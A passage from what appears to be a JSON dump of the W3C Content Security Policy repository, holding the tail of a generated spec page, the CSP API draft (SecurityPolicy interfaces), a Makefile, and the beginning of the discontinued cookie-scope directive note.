url match expression in origin with redirect count? </a>\n    <li><a href=\"#ref-for-host-part-match①\">6.6.1.8. \n    host-part matching </a> <a href=\"#ref-for-host-part-match②\">(2)</a> <a href=\"#ref-for-host-part-match③\">(3)</a> <a href=\"#ref-for-host-part-match④\">(4)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"port-part-matches\">\n   <b><a href=\"#port-part-matches\">#port-part-matches</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-port-part-matches\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a>\n    <li><a href=\"#ref-for-port-part-matches①\">6.6.1.9. \n    port-part matching </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"path-part-match\">\n   <b><a href=\"#path-part-match\">#path-part-match</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-path-part-match\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a>\n    <li><a href=\"#ref-for-path-part-match①\">6.6.1.10. \n    path-part matching </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"source-list-allows-all-inline-behavior\">\n   <b><a href=\"#source-list-allows-all-inline-behavior\">#source-list-allows-all-inline-behavior</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-source-list-allows-all-inline-behavior\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a> <a href=\"#ref-for-source-list-allows-all-inline-behavior①\">(2)</a> <a href=\"#ref-for-source-list-allows-all-inline-behavior②\">(3)</a> <a href=\"#ref-for-source-list-allows-all-inline-behavior③\">(4)</a>\n   </ul>\n  </aside>\n<script>/* script-dfn-panel */\n\n        document.body.addEventListener(\"click\", function(e) {\n            var queryAll = function(sel) { return [].slice.call(document.querySelectorAll(sel)); }\n            // Find the dfn element or panel, if any, that was clicked on.\n            var el = e.target;\n            var target;\n            var hitALink = false;\n            while(el.parentElement) {\n                if(el.tagName == \"A\") {\n                    // Clicking on a link in a <dfn> shouldn't summon the panel\n                    hitALink = true;\n                }\n                if(el.classList.contains(\"dfn-paneled\")) {\n                    target = \"dfn\";\n                    break;\n                }\n                if(el.classList.contains(\"dfn-panel\")) {\n                    target = \"dfn-panel\";\n                    break;\n                }\n                el = el.parentElement;\n            }\n            if(target != \"dfn-panel\") {\n                // Turn off any currently \"on\" or \"activated\" panels.\n                queryAll(\".dfn-panel.on, .dfn-panel.activated\").forEach(function(el){\n                    el.classList.remove(\"on\");\n                    el.classList.remove(\"activated\");\n                });\n            }\n            if(target == \"dfn\" && !hitALink) {\n                // open the panel\n                var dfnPanel = document.querySelector(\".dfn-panel[data-for='\" + el.id + \"']\");\n                if(dfnPanel) {\n                    console.log(dfnPanel);\n                    dfnPanel.classList.add(\"on\");\n                    var rect = el.getBoundingClientRect();\n                    dfnPanel.style.left = window.scrollX + rect.right + 5 + \"px\";\n                    dfnPanel.style.top = window.scrollY + rect.top + \"px\";\n                    var panelRect = dfnPanel.getBoundingClientRect();\n                    var panelWidth = panelRect.right - panelRect.left;\n                    if(panelRect.right > document.body.scrollWidth && (rect.left - (panelWidth + 5)) > 0) {\n                        // Reposition, because the panel is overflowing\n                        dfnPanel.style.left = window.scrollX + rect.left - (panelWidth + 5) + \"px\";\n                    }\n                } else {\n                    console.log(\"Couldn't find .dfn-panel[data-for='\" + el.id + \"']\");\n                }\n            } else if(target == \"dfn-panel\") {\n                // Switch it to \"activated\" state, which pins it.\n                el.classList.add(\"activated\");\n                el.style.left = null;\n                el.style.top = null;\n            }\n\n        });\n        </script>"
  },
  {
    "path": "api/index.bs",
    "content": "<h1>Content Security Policy: API</h1>\n<pre class=\"metadata\">\nStatus: ED\nED: https://w3c.github.io/webappsec-csp/api/\nShortname: CSP-API\nLevel: 1\nEditor: Mike West 56384, Google Inc., mkwst@google.com\nGroup: webappsec\nAbstract:\n  This document defines a mechanism by which web developers can control the\n  resources which a particular page can fetch or execute, as well as a number\n  of security-relevant policy decisions.\nIndent: 2\nVersion History: https://github.com/w3c/webappsec-csp/commits/master/api/index.src.html\nBoilerplate: omit conformance, omit feedback-header\n!Participate: <a href=\"https://github.com/w3c/webappsec-csp/issues/new\">File an issue</a> (<a href=\"https://github.com/w3c/webappsec-csp/issues\">open issues</a>)\nMarkup Shorthands: css off, markdown on\n</pre>\n<pre class=\"anchors\">\nspec: ES2015; urlPrefix: http://www.ecma-international.org/ecma-262/6.0/index.html\n  type: method\n    text: eval(); url: sec-eval-x\nspec: DOM; urlPrefix: http://www.w3.org/TR/dom/\n  type: interface\n    text: Node; url: interface-node\nspec: FETCH; urlPrefix: https://fetch.spec.whatwg.org/\n  type: dfn\n    text: main fetch\n    text: parse a header value; url: concept-header-parse\n    text: request; url: concept-request\n    text: response; url: concept-response\n  type: attribute\n    text: client; for: Request; url: concept-request-client\n    text: url; for: Request; url: concept-request-url\n    text: url; for: Response; url: concept-response-url\n    text: header list; for: Response; url: concept-response-header-list\n  type: interface\n    text: Request\nspec: HTML5; urlPrefix: http://www.w3.org/TR/html5/\n  type: dfn\n    urlPrefix: embedded-content-0.html\n      text: an iframe srcdoc document\n    urlPrefix: browsers.html\n      text: active document\n      text: browsing context\n      text: create a document object\n      text: creator document\n      text: nested browsing context\n      text: nested through; url: browsing-context-nested-through\n    urlPrefix: webappapis.html\n      text: environment settings object; url: settings-object\n      text: global object\n      text: incumbent settings object\n      text: relevant settings object; url: relevant-settings-object-for-a-global-object\n      text: responsible browsing context\n    urlPrefix: infrastructure.html\n      text: ASCII case-insensitive match; url: ascii-case-insensitive\n      text: reflect\n      text: strictly split a string\n      text: strip leading and trailing whitespace\n      text: collect a sequence of characters\n      text: space characters\n      text: split a string on spaces\n      text: split a string on commas\n    urlPrefix: document-metadata.html\n      text: pragma directives\n  type: element\n    urlPrefix: document-metadata.html\n      text: base; url: the-base-element\n      text: head; url: the-head-element\n      text: link; url: the-link-element\n      text: meta; url: the-meta-element\n      text: style; url: the-style-element\n    urlPrefix: embedded-content-0.html\n      text: iframe; url: the-iframe-element\n    urlPrefix: scripting-1.html\n      text: script; url: the-script-element\n  type: element-attr\n    urlPrefix: document-metadata.html\n      text: content; for: meta; url: attr-meta-content\n      text: http-equiv; for: meta; url: attr-meta-http-equiv\n    urlPrefix: embedded-content-0.html\n      text: srcdoc; for: iframe; url: attr-iframe-srcdoc\n  type: interface\n    urlPrefix: dom.html\n      text: Document\nspec: URL; urlPrefix: https://url.spec.whatwg.org/\n  type: dfn\n    text: local scheme\n  type: attribute\n    text: scheme; for: URL; url: concept-url-scheme\n  type: interface;\n    text: URL\nspec: WORKERS; urlPrefix: http://www.w3.org/TR/workers/\n  type: interface\n    text: Worker\nspec: RFC3986; urlPrefix: https://tools.ietf.org/html/rfc3986\n  type: grammar\n    text: path; url: section-3.3\n    text: scheme; url: section-3.1\nspec: RFC5234; urlPrefix: https://tools.ietf.org/html/rfc5234\n  type: grammar\n    text: ALPHA; url: appendix-B.1\n    text: DIGIT; url: appendix-B.1\n    text: VCHAR; url: appendix-B.1\n    text: WSP; url: appendix-B.1\nspec: RFC5890; urlPrefix: https://tools.ietf.org/html/rfc5890\n  type: dfn\n    text: label; url: section-2.2\nspec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454\n  type: dfn\n    text: globally unique identifier; url: section-2.3\n    text: origin; url: section-3.2\n    text: the same; url: section-5\nspec: RFC7230; urlPrefix: https://tools.ietf.org/html/rfc7230\n  type: grammar\n    text: BWS; url: section-3.2.3\n    text: OWS; url: section-3.2.3\n    text: RWS; url: section-3.2.3\n    text: quoted-string; url: section-3.2.6\n    text: token; url: section-3.2.6\nspec: RFC7231; urlPrefix: https://tools.ietf.org/html/rfc7231\n  type: dfn\n    url: section-3\n      text: resource representation\n      text: representation\n\nspec: HTML; text: run a worker; url: https://html.spec.whatwg.org/multipage/workers.html#run-a-worker; type: dfn\n</pre>\n\n<section>\n  <h2 id=\"dom-api\">\n    DOM API\n  </h2>\n\n  Developers may manipulate a page's policy via a JavaScript API which allows\n  construction of {{SecurityPolicy}} objects, and the application of those\n  objects to an <a>environment settings object</a>.\n\n  <h3 id=\"javascript-application\">\n    Applying a Policy\n  </h3>\n\n  A {{SecurityPolicy}} can be applied to an <a>environment settings object</a>\n  via the following interfaces:\n\n  <pre class=\"idl\">\n    partial interface Window {\n      void applySecurityPolicy(SecurityPolicy policy);\n    };\n  </pre>\n  <dl dfn-for=\"Window\">\n    <dt><dfn method>applySecurityPolicy(policy)</dfn></dt>\n    <dd>\n      To execute this method, execute [[#apply-to-global-object]] on\n      <var>policy</var>'s associated <a>policy</a> and the {{Window}} object.\n    </dd>\n  </dl>\n\n  <pre class=\"idl\">\n    partial interface WorkerGlobalScope {\n      void applySecurityPolicy(SecurityPolicy policy);\n    };\n  </pre>\n  <dl dfn-for=\"WorkerGlobalScope\">\n    <dt><dfn method>applySecurityPolicy(policy)</dfn></dt>\n    <dd>\n      To execute this method, execute [[#apply-to-global-object]] on\n      <var>policy</var>'s associated <a>policy</a> and the {{WorkerGlobalScope}}\n      object.\n    </dd>\n  </dl>\n\n  <div class=\"example\">\n    To apply the policy `script-src 'self'; object-src 'none'` from\n    JavaScript inside a {{Worker}} or {{Document}}, execute the following code:\n\n    <pre>\n      var policy = new SecurityPolicy(\"script-src 'self'; object-src 'none'\");\n      self.applySecurityPolicy(policy);\n    </pre>\n  </div>\n\n  ISSUE: Maybe this makes more sense as `window.csp.apply()`? Which would also\n  allow `window.csp.enforced` and `window.csp.monitored` as sequences of\n  {{SecurityPolicy}} objects?\n\n  <h3 id=\"idl-securitypolicy\">\n    `SecurityPolicy` Interface\n  </h3>\n\n  A policy object is defined via the following IDL:\n\n  <pre class=\"idl\">\n    enum SecurityPolicyType {\n      \"enforce\",\n      \"report-only\"\n    };\n\n    [Constructor(DOMString policy, SecurityPolicyType type), Exposed=(Window,Worker)]\n    interface SecurityPolicy {\n      boolean requestMatches(Request request);\n      boolean nodeMatches(Node node);\n  \n      readonly attribute FrozenArray&lt;SecurityPolicyDirective&gt; directives;\n      readonly attribute SecurityPolicyType type;\n      readonly attribute USVString reportingEndpoint;\n    };\n  </pre>\n\n  A {{SecurityPolicy}} object has an internal slot named\n  <dfn attribute for=\"SecurityPolicy\">\\[[policy]]</dfn>, which contains a\n  <a>policy</a>. Unless otherwise stated, its value is `null`.\n\n  The <dfn for=\"SecurityPolicy\" attribute>directives</dfn> attribute's getter\n  returns a list of {{SecurityPolicyDirective}}s corresponding to\n  {{SecurityPolicy/[[policy]]}}'s <a for=\"policy\">directive set</a>\n\n  The <dfn for=\"SecurityPolicy\" attribute>type</dfn> attribute's getter\n  returns the value of {{SecurityPolicy/[[policy]]}}'s <a for=\"policy\">type</a>.\n\n  The <dfn for=\"SecurityPolicy\" attribute>reportingEndpoint</dfn> attribute's\n  getter returns the serialization of the <a for=\"directive\">value</a> of\n  the <a>directive</a> in {{SecurityPolicy/[[policy]]}}'s\n  <a for=\"policy\">directive set</a> with a <a for=\"directive\">name</a> of\n  \"`report-uri`\", if present. If no such directive is present, the\n  empty string is returned.\n\n  The <dfn constructor for=\"SecurityPolicy\">SecurityPolicy(policy, type)</dfn>\n  constructor, when invoked, MUST execute the following steps:\n\n  1.  Let <var>policy list</var> be the result of executing\n      [[#parse-serialized-policy]] on <var>policy</var>.\n\n  2.  If <var>policy list</var> does not have exactly one element, throw a\n      `SyntaxError` exception, and abort the remaining steps.\n\n  3.  Set `this@`{{SecurityPolicy/[[policy]]}} to the only element\n      in <var>policy list</var>.\n\n  4.  Return `this`.\n\n  The <dfn method for=\"SecurityPolicy\">requestMatches(request)</dfn> method\n  returns `true` if [[#match-request-to-directive-list]] returns\n  `Matches` when executed upon <var>request</var> and\n  {{SecurityPolicy/[[policy]]}}'s <a for=\"policy\">directive set</a>, and\n  `false` otherwise.\n\n  The <dfn method for=\"SecurityPolicy\">nodeMatches(node)</dfn> method returns\n  `true` if [[#match-node-to-directive-list]] returns\n  `Matches` when executed upon <var>node</var> and\n  {{SecurityPolicy/[[policy]]}}'s <a for=\"policy\">directive set</a>, and\n  `false` otherwise.\n\n  <h3 id=\"idl-securitypolicydirective\">\n    `SecurityPolicyDirective` Interface\n  </h3>\n\n  Policy objects contain a list of directives, each defined according to the\n  following IDL:\n\n  <pre class=\"idl\">\n    enum DirectiveName {\n      \"base-uri\",\n      \"child-src\",\n      \"connect-src\",\n      \"default-src\",\n      \"font-src\",\n      \"form-action\",\n      \"frame-ancestors\",\n      \"img-src\",\n      \"media-src\",\n      \"object-src\",\n      \"plugin-types\",\n      \"report-uri\",\n      \"reports\",\n      \"sandbox\",\n      \"script-src\",\n      \"style-src\"\n    };\n\n    [Constructor(DOMString name, DOMString value), Exposed=(Window,Worker)]\n    interface SecurityPolicyDirective {\n      boolean requestMatches(Request request);\n      boolean nodeMatches(Node node);\n\n      readonly attribute DirectiveName name;  \n    };\n  </pre>\n  \n  A {{SecurityPolicyDirective}} object has an internal slot named\n  <dfn attribute for=\"SecurityPolicyDirective\">\\[[directive]]</dfn>, which\n  contains a <a>directive</a>. Unless otherwise specified, its value is\n  `null`.\n\n  The <dfn attribute for=\"SecurityPolicyDirective\">name</dfn> attribute's\n  getter returns {{SecurityPolicyDirective/[[directive]]}}'s\n  <a for=\"directive\">name</a>.\n\n  The <dfn attribute for=\"SecurityPolicyDirective\">value</dfn> attribute's\n  getter returns {{SecurityPolicyDirective/[[directive]]}}'s\n  <a for=\"directive\">value</a>.\n\n  The <dfn constructor for=\"SecurityPolicyDirective\">SecurityPolicyDirective(name, value)</dfn>\n  constructor, when invoked, MUST execute the following steps:\n\n  1.  If <var>name</var> is not a valid {{DirectiveName}}, throw a\n      `SyntaxError` exception, and abort the remaining steps.\n\n  2.  Let <var>directive</var> be a new <a>directive</a> with a\n      <a for=\"directive\">name</a> of <var>name</var> and a\n      <a for=\"directive\">value</a> of <var>value</var>.\n\n  3.  Set `this@`{{SecurityPolicyDirective/[[directive]]}} to\n      <var>directive</var>.\n\n  4.  Return `this`.\n\n  The <dfn method for=\"SecurityPolicyDirective\">requestMatches(request)</dfn>\n  method returns `true`.\n\n  The <dfn method for=\"SecurityPolicyDirective\">nodeMatches(node)</dfn> method\n  returns `true`.\n\n  Note: Directives which operate on either {{Request}}s or {{Node}}s are\n  expected to inherit from {{SecurityPolicyDirective}} and override these\n  method implementations. {{SourceListDirective}} is one example of this.\n\n  <h3 id=\"idl-sourcelistdirective\">\n    `SourceListDirective` Interface\n  </h3>\n\n  Directives whose values are <a>source lists</a> are parsed into\n  {{SourceListDirective}} objects (which subclass {{SecurityPolicyDirective}}).\n  These are defined according to the following IDL:\n\n  <pre class=\"idl\">\n    [Constructor(DOMString name, DOMString value), Exposed=(Window,Worker)]\n    interface SourceListDirective : SecurityPolicyDirective {\n      readonly attribute FrozenArray&lt;SourceExpression&gt; sources;\n    };\n  </pre>\n\n  The <dfn constructor for=\"SourceListDirective\">SourceListDirective(name, value)</dfn>\n  constructor, when invoked, MUST execute the following steps:\n\n  1.  If <var>name</var> is not a valid {{DirectiveName}}, throw a\n      `SyntaxError` exception, and abort the remaining steps.\n\n  2.  Let <var>directive</var> be a new <a>directive</a> with a\n      <a for=\"directive\">name</a> of <var>name</var> and a\n      <a for=\"directive\">value</a> of <var>value</var>.\n\n  3.  Set `this@`{{SecurityPolicyDirective/[[directive]]}} to\n      <var>directive</var>.\n\n  4.  `this@`Set {{SourceListDirective/sources}} to the result of\n      executing [[#parse-serialized-source-list]] on <var>value</var>.\n\n  5.  Return `this`.\n\n  The <dfn method for=\"SourceListDirective\">requestMatches(request)</dfn>\n  method, when invoked, MUST execute the following steps:\n\n  1.  Let <var>url</var> be <var>request</var>'s {{Request/url}}.\n\n  2.  For each <var>expression</var> in this object's\n      {{SourceListDirective/sources}} attribute:\n\n      1.  If <var>expression</var>'s {{SourceExpression/urlMatches(url)}}\n          returns `true` when executed upon <var>url</var>, return\n          `true`.\n\n  3.  Return `false`.\n\n  The <dfn method for=\"SourceListDirective\">nodeMatches(node)</dfn> method,\n  when invoked, MUST execute the following steps:\n\n  1.  For each <var>expression</var> in this object's\n      {{SourceListDirective/sources}} attribute:\n\n      1.  If <var>expression</var>'s {{SourceExpression/nodeMatches(node)}}\n          returns `true` when executed upon <var>node</var>,\n          return `true`.\n\n  2.  Return `false`.\n\n  <h3 id=\"idl-sourceexpression\">\n    `SourceExpression` Interface\n  </h3>\n\n  {{SourceListDirective}} objects' {{SourceListDirective/sources}} attribute\n  contains the list of <a>source expressions</a> that make up the directive's\n  value. These are represented as {{SourceExpression}} objects according to\n  the following IDL:\n\n  <pre class=\"idl\">\n    [Constructor(DOMString value), Exposed=(Window,Worker)]\n    interface SourceExpression {\n      boolean urlMatches(USVString url);\n      boolean nodeMatches(Node node);\n\n      readonly attribute DOMString value;\n    };\n  </pre>\n  <dl dfn-for=\"SourceExpression\">\n    <dt><dfn attribute>value</dfn></dt>\n    <dd>\n      The expression's value. `script-src https://example.com/\n      'nonce-abcde'` will, for example, produce two {{SourceExpression}}\n      objects, one with a value of \"https://example.com/\", the other with a\n      value of \"'nonce-abcde'\".\n    </dd>\n    <dt><dfn method>urlMatches(url)</dfn></dt>\n    <dd>\n      This method returns `true` if executing\n      [[#match-url-to-source-expression]] on <var>url</var> and the object's\n      {{SourceExpression/value}} attribute returns `Matches`, and\n      `false` otherwise.\n\n      <pre class=\"argumentdef\" for=\"SourceExpression/urlMatches(url)\">\n        url: The URL to match against the SourceExpression.\n      </pre>\n    </dd>\n    <dt><dfn method>nodeMatches(node)</dfn></dt>\n    <dd>\n      This method returns `true` if executing\n      [[#match-node-to-source-expression]] on <var>node</var> and the object's\n      {{SourceExpression/value}} attribute returns `Matches`, and\n      `false` otherwise.\n\n      <pre class=\"argumentdef\" for=\"SourceExpression/nodeMatches(node)\">\n        node: The Node which will be matched against the directive.\n      </pre>\n    </dd>\n  </dl>\n</section>\n"
  },
  {
    "path": "cookies/Makefile",
    "content": "all: index.html\n\nforce:\n\tbikeshed -f spec ./index.src.html\n\nindex.html: index.src.html\n\tbikeshed -f spec ./index.src.html\n\nFPWD:\n\tbikeshed -f spec --md-status=FPWD --md-date=2015-12-15 ./index.src.html ./published/FPWD.html \n\npublish:\n\tgit push origin master master:gh-pages\n"
  },
  {
    "path": "cookies/index.bs",
    "content": "<h1>Content Security Policy: Cookie Controls</h1>\n<pre class=\"metadata\">\nStatus: NOTE\nWarning: obsolete\nED: https://w3c.github.io/webappsec-csp/cookies/\nTR: http://www.w3.org/TR/csp-cookies/\nShortname: csp-cookies\nEditor: Mike West 56384, Google Inc., mkwst@google.com\nAbstract:\n  This Note provides a historical reference for a proposed set of mechanisms \n\tby which web developers can limit the ways\n  in which cookies may be set in the context of their sites and applications.\nIndent: 2\nLevel: 1\nGroup: webappsec\nMarkup Shorthands: markdown on\nBoilerplate: omit conformance, omit feedback-header\n</pre>\n<pre boilerplate=\"copyright\">&copy;2015 Google, Inc.</pre>\n<pre class=\"anchors\">\nspec: CSP3; urlPrefix: https://mikewest.github.io/webappsec/specs/content-security-policy/\n  type: dfn\n    text: content-security-policy; url: content_security_policy\n    text: protected resource\n    text: report a violation\n    text: directive\n    text: enforced Content Security Policies\n    text: monitored Content Security Policies\nspec: HTML5; urlPrefix: http://www.w3.org/TR/html5/\n  type: dfn\n    urlPrefix: infrastructure.html\n      text: strip leading and trailing whitespace\n      text: split a string on spaces\n    urlPrefix: webappapis.html\n      text: environment settings object; url: settings-object\n      text: incumbent settings object\nspec: URL; urlPrefix: http://www.w3.org/TR/url/\n  type: interface\n    text: URL; url: concept-url\n  type: attribute\n    text: host; for: URL; url: concept-url-host\n    text: port; for: URL; url: concept-url-port\n    text: scheme; for: URL; url: concept-url-scheme\nspec: RFC5234; urlPrefix: https://tools.ietf.org/html/rfc5234\n  type: dfn\n    text: WSP; url: appendix-B.1\nspec: RFC6265; urlPrefix: https://tools.ietf.org/html/rfc6265\n  type: dfn\n    text: cookie; url: section-1\n    text: cookie store; url: section-5.3\n    text: host-only-flag; url: section-5.3\n    text: secure-only-flag; url: section-5.3\nspec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454\n  type: dfn\n    text: origin; url: section-3.2\nspec: RFC7230; urlPrefix: https://tools.ietf.org/html/rfc7230\n  type: grammar\n    text: RWS; url: section-3.2.3\n</pre>\n\n<!-- BIBLIOGRAPHY -->\n<pre class=\"biblio\">\n{\n  \"CSP-PINNING\": {\n    \"authors\": [ \"Mike West\" ],\n    \"title\": \"Content Security Policy: Pinning\",\n    \"href\": \"https://w3c.github.io/webappsec/specs/csp-pinning/\",\n    \"status\": \"FPWD\",\n    \"publisher\": \"W3C\"\n  },\n  \"ORIGIN-COOKIES\": {\n    \"authors\": [ \"Mike West\" ],\n    \"title\": \"Origin Cookies\",\n    \"href\": \"https://tools.ietf.org/html/draft-west-origin-cookies\",\n    \"status\": \"ID\",\n    \"publisher\": \"IETF\"\n  },\n  \"YUMMY-COOKIES\": {\n    \"authors\": [ \"Vincent Marti\" ],\n    \"title\": \"Yummy cookies across domains\",\n    \"href\": \"https://github.com/blog/1466-yummy-cookies-across-domains\"\n  }\n}\n</pre>\n\n<!-- NOTE STATUS -->\n<div boilerplate=\"status\">\n\t<strong>\n\t\tWork on this document has been discontinued and it should not be\n\t\treferenced or used as a basis for implementation.\n\t</strong>\n</div>\n\n<!--\n████ ██    ██ ████████ ████████   ███████\n ██  ███   ██    ██    ██     ██ ██     ██\n ██  ████  ██    ██    ██     ██ ██     ██\n ██  ██ ██ ██    ██    ████████  ██     ██\n ██  ██  ████    ██    ██   ██   ██     ██\n ██  ██   ███    ██    ██    ██  ██     ██\n████ ██    ██    ██    ██     ██  ███████\n-->\n<section>\n  <h2 id=\"intro\">Introduction</h2>\n\n  <em>This section is not normative.</em>\n\n  Cookies are an HTTP state management mechanism that web developers rely on\n  heavily for important things like authentication. They are also quite fragile,\n  and have scoping rules that don't mesh well with the <a>origin</a> model that\n  developers are familiar with. Cookies flow freely between\n  <a for=\"URL\" attribute>scheme</a>s by default, can be set from subdomains or\n  limited to paths, and ignore <a for=\"URL\" attribute>port</a>s entirely. The\n  disconnect between cookies and other types of storage opens up a number of\n  risks that are difficult to fully mitigate. See [[YUMMY-COOKIES]] for some\n  real-world examples of problems that have cropped up in the past.\n\n  This document defines mechanisms which allow developers to limit the ways in\n  which cookies can be set for a given <a>protected resource</a>.\n\n  <h3 id=\"examples\">Examples</h3>\n\n  <div class=\"example\">\n    MegaCorp Inc. hosts a number of pages which have no real need to write\n    cookies. Following the principle of least privilege, the clever developers\n    responsible for those pages send the following headers along with every HTTP\n    response, ensuring that no cookies can be set via `Set-Cookie` or\n    `document.cookie`:\n\n    <pre>\n      <a>Content-Security-Policy</a>: <a>cookie-scope</a> <a grammar>none</a>\n    </pre>\n  </div>\n\n  <div class=\"example\">\n    MegaCorp Inc. hosts a number of pages on `http://non-secure.example.com`\n    which need to write cookies, but don't need those cookies to span\n    subdomains. The following header ensures that cookies can only be set via\n    `Set-Cookie` or `document.cookie` if those cookies are \"host only\" (e.g. the\n    cookie's `domain` attribute is empty):\n\n    <pre>\n      <a>Content-Security-Policy</a>: <a>cookie-scope</a> <a grammar>host</a>\n    </pre>\n\n    That is, the following code would set a cookie:\n\n    <pre>\n      document.cookie = \"key=value\";\n    </pre>\n\n    And the following would not:\n\n    <pre>\n      document.cookie = \"key=value; domain=example.com\";\n    </pre>\n  </div>\n\n  <div class=\"example\">\n    MegaCorp Inc. hosts a number of pages on `https://secure.example.com`\n    which need to write cookies, but don't need those cookies to span\n    subdomains. They'll certainly set the <a grammar>host</a> property, just\n    like the previous example, but since this is a secure site, they also wish\n    to ensure that any cookies they set also contain the `secure` attribute.\n    They can do so with the following header:\n\n    <pre>\n      <a>Content-Security-Policy</a>: <a>cookie-scope</a> <a grammar>host</a> <a grammar>secure</a>\n    </pre>\n\n    That is, the following code would set a cookie:\n\n    <pre>\n      document.cookie = \"key=value; secure\";\n    </pre>\n\n    And the following would not:\n\n    <pre>\n      document.cookie = \"key=value\";\n      document.cookie = \"key=value; domain=example.com; secure\";\n    </pre>\n  </div>\n</section>\n\n<!-- Big Text: DIRECTIVE -->\n<section>\n  <h2 id=\"cookie-scope-directive\">The `cookie-scope` directive</h2>\n\n  <dfn export>`cookie-scope`</dfn> is a Content Security Policy\n  <a>directive</a> [[!CSP]] which restricts the <a>cookies</a> [[!RFC6265]]\n  which can be set in a particular context. The syntax is described by the\n  following ABNF grammar [[!RFC5234]] (including the <a grammar>RWS</a> rule\n  from [[!RFC7230]]):\n\n  <pre link-type=\"grammar\" dfn-type=\"grammar\">\n    directive-name = \"cookie-scope\"\n    directive-value = <a>scoping-rules</a> *( <a>RWS</a> <a>scoping-rules</a> )\n    <dfn>scoping-rules</dfn> = \"<dfn>host</dfn>\" / \"<dfn>http</dfn>\" / \"<dfn>none</dfn>\" / \"<dfn>secure</dfn>\"\n  </pre>\n\n  The directive has one of four values:\n\n  1.  \"<a grammar>host</a>\" allows \"host only\" cookies to be set, but will block\n      setting cookies which set a `domain` attribute.\n\n  2.  \"<a grammar>http</a>\" allows cookies to be set via the `Set-Cookie` HTTP\n      header, but not via `document.cookie`.\n\n  3.  \"<a grammar>none</a>\" blocks all cookies.\n\n  4.  \"<a grammar>secure</a>\" allows cookies to be set with a `secure`\n      attribute, and will block setting any non-secure cookies.\n\n  These values MAY be combined in order to tighten the restrictions on a cookie.\n  That is, if both \"<a grammar>host</a>\" and \"<a grammar>secure</a>\" are\n  present, then cookies may only be set which are both secure and host-only.\n  If \"<a grammar>none</a>\" is present with any combination of the other values,\n  no cookies may be set.\n\n  ISSUE: Erik Nygren\n  <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2013Sep/0046.html\">proposed</a>\n  adding `path` restrictions as well. Is that worthwhile?\n\n  <h3 id=\"monkey-patching-rfc6264\">Processing Model</h3>\n\n  After step 10 of <a href=\"https://tools.ietf.org/html/rfc6265#section-5.3\">the\n  storage algorithm in Section 5.3 of RFC 6265</a>, a cookie object has been\n  built. Insert the following validation step before proceeding to the current\n  step 11:\n\n  <ol start=\"11\">\n    <li>\n      If [[#block-cookie]] returns \"`Blocked`\" when executed upon\n      <var>cookie</var> and the <a>incumbent settings object</a>,\n      abort these steps without modifying the <a>cookie store</a>.\n    </li>\n  </ol>\n\n  ISSUE: Monkey patching! Hey, maybe it's time to reopen that cookie RFC after\n  all, eh @mnot? :)\n\n  ISSUE(w3c/webappsec-csp#42): We'll need a mechanism to restrict reading from\n  `document.cookie`, but I'd like something less specific than `cookie-scope\n  disable-dom-access` or something similar. The linked GitHub bug is a proposal\n  that's a bit more general and widely applicable.\n</section>\n\n<section>\n  <h2 id=\"algorithms\">Algorithms</h2>\n\n  <h3 id=\"block-cookie\">\n    Is <var>cookie</var> blocked for |settings|?\n  </h3>\n\n  Given a <a>cookie</a> (<var>cookie</var>), and an <a>environment settings\n  object</a> (<var>settings</var>), this algorithm returns \"`Allowed`\" if\n  <var>cookie</var> can be written, and \"`Blocked`\" if it violates one or\n  more of <var>settings</var>'s enforced Content Security Policies:\n\n  1.  Let <var>status</var> be \"`Allowed`\".\n\n  2.  For each <var>policy</var> in <var>settings</var>'s <a>monitored Content\n      Security Policies</a>:\n\n      1.  If [[#violates]] returns \"`Violates`\" when executed upon the cookie\n          and <var>policy</var>, <a>report a violation</a>.\n\n          Note: We do <em>not</em> touch <var>status</var> here, as we're\n          only evaluating the monitored policies.\n\n  2.  For each <var>policy</var> in <var>settings</var>'s <a>enforced Content\n      Security Policies</a>:\n\n      1.  If [[#violates]] returns \"`Violates`\" when executed upon the cookie\n          and <var>policy</var>, <a>report a violation</a>, and set\n          <var>status</var> to \"`Blocked`\":\n\n  3.  Return <var>status</var>.\n\n  <h3 id=\"violates\">\n    Does <var>cookie</var> violate <var>policy</var>?\n  </h3>\n\n  1.  Let <var>scope</var> be the result of executing [[#parse]] on\n      <var>policy</var>'s <a>cookie-scope</a> directive.\n\n  2.  If any of the following conditions are met, return \"`Violates`\":\n\n      1.  <var>scope</var> contains \"<a grammar>host</a>\", and the cookie's\n          `host-only-flag` is `false`.\n\n      2.  <var>scope</var> contains \"<a grammar>http</a>\", and the cookie\n          was received from a \"non-HTTP\" API.\n\n      3.  <var>scope</var> contains \"<a grammar>none</a>\".\n\n      4.  <var>scope</var> contains \"<a grammar>secure</a>\", and the\n          cookie's `secure-only-flag` is `false`.\n\n  3.  Return \"`Does not violate`\".\n\n  <h3 id=\"parse\">\n    Parse <var>string</var> as a `cookie-scope` value\n  </h3>\n\n  Given a string (<var>string</var>), this algorithm returns a set of the valid\n  <a>`cookie-scope`</a> values the string represents. Invalid values are\n  ignored:\n\n  1.  <a>Strip leading and trailing whitespace</a> from <var>string</var>.\n\n  2.  Let <var>values</var> be an empty set.\n\n  3.  For each <var>token</var> in the list generated by\n      <a lt=\"split a string on spaces\">splitting <var>string</var> on\n      spaces</a>:\n\n      1.  If <var>token</var> matches the grammar for\n          <a grammar>scoping-rules</a>, insert <var>token</var> into\n          <var>values</var>.\n\n  4.  Return <var>values</var>.\n</section>\n\n<section>\n  <h2 id=\"security-considerations\">Security Considerations</h2>\n\n  <h3 id=\"existing\">Existing Cookies</h3>\n\n  Note that the mechanisms defined here do not protect against cookies that\n  already exist in a user's <a>cookie store</a>. Those cookies are delivered\n  along with the HTTP request, before Content Security Policy can be delivered\n  and applied. It is possible that future work like [[CSP-PINNING]] might\n  enable these kinds of <i lang=\"la\">a priori</i> restrictions, but, even then,\n  CSP should be seen as a mitigation strategy, layered on top of filters and\n  sanity checks for incoming data.\n</section>\n\n<section>\n  <h2 